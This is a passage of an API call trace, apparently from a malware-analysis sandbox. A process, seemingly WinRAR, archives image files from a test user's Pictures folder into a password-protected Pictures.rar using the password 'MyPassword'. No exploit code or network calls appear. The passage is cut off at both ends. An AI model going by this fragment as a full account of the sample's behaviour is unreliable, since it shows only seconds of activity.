(HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bff0 [0059.873] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bff0, Size=0x48) returned 0x26fe80 [0059.873] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0059.873] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bff0 [0059.873] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bff0, Size=0x48) returned 0x26fed0 [0059.873] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0059.873] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0059.873] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bff0 [0059.873] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c020 [0059.873] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c020 | out: hHeap=0x1b0000) returned 1 [0059.873] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bff0 | out: hHeap=0x1b0000) returned 1 [0059.873] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bfc0, Size=0x48) returned 0x26fe80 [0059.873] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fe80, Size=0x7a) returned 0x203ab0 [0059.873] WriteFile (in: hFile=0x198, lpBuffer=0x203ab3*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x167f30, lpOverlapped=0x0 | out: lpBuffer=0x203ab3*, lpNumberOfBytesWritten=0x167f30*=0x6f, lpOverlapped=0x0) returned 1 [0059.873] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bfc0 [0059.873] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x6f) returned 0x2a0af50 [0059.873] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0059.873] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203ab0 | out: hHeap=0x1b0000) returned 1 [0059.873] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0xa65d4 [0059.873] CloseHandle (hObject=0x1b0) returned 1 [0059.873] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 1 [0059.873] GetMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d400) returned 1 [0059.873] GetFocus () returned 0x10268 [0059.874] IsDialogMessageW (hDlg=0x10244, lpMsg=0x16d400) returned 1 [0059.874] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.874] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0059.874] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.874] FindFirstFileW (in: lpFileName="FF-GXA22K-J\\TXT2nL.jpg", lpFindFileData=0x16c2d0 | out: lpFindFileData=0x16c2d0) returned 0x3ba9290 [0059.874] FindClose (in: hFindFile=0x3ba9290 | out: hFindFile=0x3ba9290) returned 1 [0059.874] CreateFileW (lpFileName="FF-GXA22K-J\\TXT2nL.jpg" (normalized: "c:\\users\\whuoxysd\\pictures\\ff-gxa22k-j\\txt2nl.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0059.874] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2df630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0059.874] GetTickCount () returned 0xa65534 [0059.874] GetWindowTextW (in: hWnd=0x10244, lpString=0x16d130, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0059.874] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0059.874] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16bce0, nMaxCount=2560 | out: lpString="adding") returned 6 [0059.874] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0059.874] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16bce0, nMaxCount=2560 | out: lpString="qe4w BUBvbI.png") returned 15 [0059.875] SetWindowTextW (hWnd=0x1024c, lpString="TXT2nL.jpg") returned 1 [0059.875] GetTickCount () returned 0xa65534 [0059.875] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0059.875] CryptAcquireContextW (in: phProv=0x16d4c0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x16d4c0*=0x1d25f0) returned 1 [0059.875] CryptGenRandom (in: hProv=0x1d25f0, dwLen=0x10, pbBuffer=0x16d540 | out: pbBuffer=0x16d540) returned 1 [0059.875] CryptReleaseContext (hProv=0x1d25f0, dwFlags=0x0) returned 1 [0059.875] GetSystemTime (in: lpSystemTime=0x16d458 | out: lpSystemTime=0x16d458*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x15, wMilliseconds=0x235)) [0059.875] SystemTimeToFileTime (in: lpSystemTime=0x16d458, lpFileTime=0x16d450 | out: lpFileTime=0x16d450) returned 1 [0059.875] QueryPerformanceCounter (in: lpPerformanceCount=0x16d480 | out: lpPerformanceCount=0x16d480*=13521574891) returned 1 [0059.875] ReadFile (in: hFile=0x1b0, lpBuffer=0x36d0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36d0040*, lpNumberOfBytesRead=0x16d560*=0x6055, lpOverlapped=0x0) returned 1 [0059.876] ReadFile (in: hFile=0x1b0, lpBuffer=0x36d6095, nNumberOfBytesToRead=0xf9fab, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36d6095*, lpNumberOfBytesRead=0x16d560*=0x0, lpOverlapped=0x0) returned 1 [0059.876] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bff0 [0059.876] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c020 [0059.876] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c020, Size=0x48) returned 0x26fed0 [0059.876] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0059.876] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c020 [0059.876] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c020, Size=0x48) returned 0x26fe80 [0059.876] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0059.876] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0059.876] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c020 [0059.876] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c050 [0059.876] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c050 | out: hHeap=0x1b0000) returned 1 [0059.876] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c020 | out: hHeap=0x1b0000) returned 1 [0059.876] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bff0, Size=0x48) returned 0x26fed0 [0059.876] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fed0, Size=0x7a) returned 0x203ab0 [0059.876] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0059.876] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203ab0 | out: hHeap=0x1b0000) returned 1 [0059.878] GetTickCount () returned 0xa65534 [0059.878] QueryPerformanceCounter (in: lpPerformanceCount=0x16d3a0 | out: lpPerformanceCount=0x16d3a0*=13521800600) returned 1 [0059.878] GetTickCount () returned 0xa65534 [0059.878] GetTickCount () returned 0xa65534 [0059.878] GetTickCount () returned 0xa65534 [0059.878] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0059.878] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0059.878] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.878] ResetEvent (hEvent=0x1a4) returned 1 [0059.878] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0060.076] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0060.076] ResetEvent (hEvent=0x1a4) returned 1 [0060.076] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0060.077] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0060.078] GetTickCount () returned 0xa655ff [0060.078] GetLastError () returned 0x0 [0060.078] SetLastError (dwErrCode=0x0) [0060.078] GetDlgItem (hDlg=0x10244, nIDDlgItem=158) returned 0x10250 [0060.078] GetDlgItem (hDlg=0x10244, nIDDlgItem=153) returned 0x1024e [0060.078] GetWindowTextW (in: hWnd=0x1024e, lpString=0x16baf0, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0060.078] SendMessageW (hWnd=0x10250, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0060.079] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=13541916073) returned 1 [0060.079] GetTickCount () returned 0xa655ff [0060.079] GetTickCount () returned 0xa655ff [0060.079] GetTickCount () returned 0xa655ff [0060.079] CoCreateInstance (in: rclsid=0x13f27f5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x13f27cc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x16cf28 | out: ppv=0x16cf28*=0x3b8bff0) returned 0x0 [0060.079] TaskbarList:ITaskbarList3:SetProgressState (This=0x3b8bff0, hwnd=0x10244, tbpFlags=2) returned 0x0 [0060.079] TaskbarList:ITaskbarList3:SetProgressValue (This=0x3b8bff0, hwnd=0x10244, ullCompleted=0xabb05, ullTotal=0x940593) returned 0x0 [0060.079] TaskbarList:IUnknown:Release (This=0x3b8bff0) returned 0x0 [0060.079] GetLastError () returned 0x36b7 [0060.079] SetLastError (dwErrCode=0x36b7) [0060.079] GetDlgItem (hDlg=0x10244, nIDDlgItem=157) returned 0x10266 [0060.079] GetDlgItem (hDlg=0x10244, nIDDlgItem=152) returned 0x10264 [0060.079] GetWindowTextW (in: hWnd=0x10264, lpString=0x16baf0, nMaxCount=2560 | out: lpString=" 5%") returned 5 [0060.079] SetWindowTextW (hWnd=0x10264, lpString=" 7%") returned 1 [0060.080] GetLastError () returned 0x0 [0060.080] SetLastError (dwErrCode=0x0) [0060.080] GetDlgItem (hDlg=0x10244, nIDDlgItem=164) returned 0x10260 [0060.080] GetWindowTextW (in: hWnd=0x10260, lpString=0x16baf0, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0060.080] SetWindowTextW (hWnd=0x10260, lpString=" 96%") returned 1 [0060.080] SendMessageW (hWnd=0x10266, Msg=0x402, wParam=0x7, lParam=0x0) returned 0x5 [0060.080] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 1 [0060.080] GetMessageW (in: lpMsg=0x16d3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d3d0) returned 1 [0060.081] GetFocus () returned 0x10268 [0060.081] IsDialogMessageW (hDlg=0x10244, lpMsg=0x16d3d0) returned 1 [0060.081] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0060.081] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0060.081] ResetEvent (hEvent=0x190) returned 1 [0060.081] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0060.081] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0060.081] ResetEvent (hEvent=0x190) returned 1 [0060.081] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0060.082] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0060.082] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0060.082] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0060.082] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d250*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d250*=0) returned 0xa65d4 [0060.082] SetFilePointer (in: hFile=0x198, lDistanceToMove=106, lpDistanceToMoveHigh=0x16d220*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d220*=0) returned 0xa663e [0060.082] CryptUnprotectMemory (in: pDataIn=0x16d0d0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16d0d0) returned 1 [0060.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x16d050, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0060.082] CryptUnprotectMemory (in: pDataIn=0x16cab0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cab0) returned 1 [0060.082] CryptUnprotectMemory (in: pDataIn=0x16cbb0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cbb0) returned 1 [0060.082] CryptUnprotectMemory (in: pDataIn=0x16cd30, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x16cd30) returned 1 [0060.082] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x60b0, lpNumberOfBytesWritten=0x16d250, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d250*=0x60b0, lpOverlapped=0x0) returned 1 [0060.083] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0060.083] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0060.083] SetFilePointer (in: hFile=0x198, lDistanceToMove=681428, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0xa65d4 [0060.083] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1698f0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1698f0*=0) returned 0xa65d4 [0060.083] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bff0 [0060.083] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c020 [0060.083] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c020, Size=0x48) returned 0x26fe80 [0060.083] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0060.083] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c020 [0060.083] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c020, Size=0x48) returned 0x26fed0 [0060.083] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0060.083] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0060.083] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c020 [0060.083] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c050 [0060.083] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c050 | out: hHeap=0x1b0000) returned 1 [0060.083] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c020 | out: hHeap=0x1b0000) returned 1 [0060.083] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bff0, Size=0x48) returned 0x26fe80 [0060.083] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fe80, Size=0x7a) returned 0x203ab0 [0060.083] WriteFile (in: hFile=0x198, lpBuffer=0x203ab3*, nNumberOfBytesToWrite=0x6a, lpNumberOfBytesWritten=0x167f30, lpOverlapped=0x0 | out: lpBuffer=0x203ab3*, lpNumberOfBytesWritten=0x167f30*=0x6a, lpOverlapped=0x0) returned 1 [0060.083] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bff0 [0060.083] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x6a) returned 0x2a0afd0 [0060.083] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0060.083] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203ab0 | out: hHeap=0x1b0000) returned 1 [0060.083] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0xac6ee [0060.084] CloseHandle (hObject=0x1b0) returned 1 [0060.084] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0060.084] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0060.084] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0060.084] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0060.084] FindFirstFileW (in: lpFileName="FF-GXA22K-J\\y_NnvZ hOSogKdF.gif", lpFindFileData=0x16c2d0 | out: lpFindFileData=0x16c2d0) returned 0x3ba9290 [0060.084] FindClose (in: hFindFile=0x3ba9290 | out: hFindFile=0x3ba9290) returned 1 [0060.084] CreateFileW (lpFileName="FF-GXA22K-J\\y_NnvZ hOSogKdF.gif" (normalized: "c:\\users\\whuoxysd\\pictures\\ff-gxa22k-j\\y_nnvz hosogkdf.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0060.084] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2dfa30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0060.084] GetTickCount () returned 0xa655ff [0060.084] GetWindowTextW (in: hWnd=0x10244, lpString=0x16d130, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0060.084] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0060.084] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16bce0, nMaxCount=2560 | out: lpString="adding") returned 6 [0060.084] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0060.084] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16bce0, nMaxCount=2560 | out: lpString="TXT2nL.jpg") returned 10 [0060.084] SetWindowTextW (hWnd=0x1024c, lpString="y_NnvZ hOSogKdF.gif") returned 1 [0060.085] GetTickCount () returned 0xa655ff [0060.085] UpdateWindow (hWnd=0x10244) returned 1 [0060.085] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0060.085] CryptAcquireContextW (in: phProv=0x16d4c0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x16d4c0*=0x1d25f0) returned 1 [0060.085] CryptGenRandom (in: hProv=0x1d25f0, dwLen=0x10, pbBuffer=0x16d540 | out: pbBuffer=0x16d540) returned 1 [0060.085] CryptReleaseContext (hProv=0x1d25f0, dwFlags=0x0) returned 1 [0060.085] GetSystemTime (in: lpSystemTime=0x16d458 | out: lpSystemTime=0x16d458*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x15, wMilliseconds=0x300)) [0060.085] SystemTimeToFileTime (in: lpSystemTime=0x16d458, lpFileTime=0x16d450 | out: lpFileTime=0x16d450) returned 1 [0060.085] QueryPerformanceCounter (in: lpPerformanceCount=0x16d480 | out: lpPerformanceCount=0x16d480*=13542576144) returned 1 [0060.085] ReadFile (in: hFile=0x1b0, lpBuffer=0x36d0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36d0040*, lpNumberOfBytesRead=0x16d560*=0x12ee4, lpOverlapped=0x0) returned 1 [0060.087] ReadFile (in: hFile=0x1b0, lpBuffer=0x36e2f24, nNumberOfBytesToRead=0xed11c, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36e2f24*, lpNumberOfBytesRead=0x16d560*=0x0, lpOverlapped=0x0) returned 1 [0060.087] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0060.087] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0060.087] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c020 [0060.087] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c050 [0060.087] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c050, Size=0x48) returned 0x26fed0 [0060.087] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0060.087] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c050 [0060.087] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c050, Size=0x48) returned 0x26fe80 [0060.087] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0060.087] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0060.087] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c050 [0060.087] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c080 [0060.087] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c080 | out: hHeap=0x1b0000) returned 1 [0060.087] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c050 | out: hHeap=0x1b0000) returned 1 [0060.087] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c020, Size=0x48) returned 0x26fed0 [0060.087] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fed0, Size=0x7a) returned 0x203ab0 [0060.087] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0060.087] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203ab0 | out: hHeap=0x1b0000) returned 1 [0060.088] GetTickCount () returned 0xa655ff [0060.088] QueryPerformanceCounter (in: lpPerformanceCount=0x16d3a0 | out: lpPerformanceCount=0x16d3a0*=13542822635) returned 1 [0060.088] GetTickCount () returned 0xa655ff [0060.088] GetTickCount () returned 0xa655ff [0060.088] GetTickCount () returned 0xa655ff [0060.088] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0060.088] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0060.088] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0060.088] ResetEvent (hEvent=0x1a4) returned 1 [0060.088] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0060.090] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0060.090] ResetEvent (hEvent=0x1a4) returned 1 [0060.090] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0060.093] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0060.093] ResetEvent (hEvent=0x1a4) returned 1 [0060.093] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0060.095] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0060.095] GetTickCount () returned 0xa6560e [0060.095] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=13543531793) returned 1 [0060.095] GetTickCount () returned 0xa6560e [0060.095] GetTickCount () returned 0xa6560e [0060.095] GetTickCount () returned 0xa6560e [0060.095] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 1 [0060.095] GetMessageW (in: lpMsg=0x16d3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d3d0) returned 1 [0060.095] GetFocus () returned 0x10268 [0060.095] IsDialogMessageW (hDlg=0x10244, lpMsg=0x16d3d0) returned 1 [0060.095] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0060.095] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0060.095] ResetEvent (hEvent=0x190) returned 1 [0060.095] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0060.096] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0060.096] ResetEvent (hEvent=0x190) returned 1 [0060.096] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0060.097] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0060.097] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0060.097] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0060.097] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d250*=0, dwMoveMethod=0x1 | out: 